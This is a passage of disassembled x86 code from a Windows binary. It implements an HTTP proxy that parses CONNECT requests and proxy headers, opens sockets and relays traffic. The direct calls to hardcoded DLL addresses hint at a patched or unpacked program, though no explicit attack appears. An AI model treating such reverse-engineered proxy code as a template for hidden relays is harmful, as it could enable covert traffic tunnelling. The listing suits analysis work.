[esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F70 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445258 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F70 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445230 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F70 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445230 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C94 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax call near ptr 71AB428Ah nop test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_445230 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj call near ptr 71AB428Ah nop mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax nop call near ptr 71AB428Ah jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 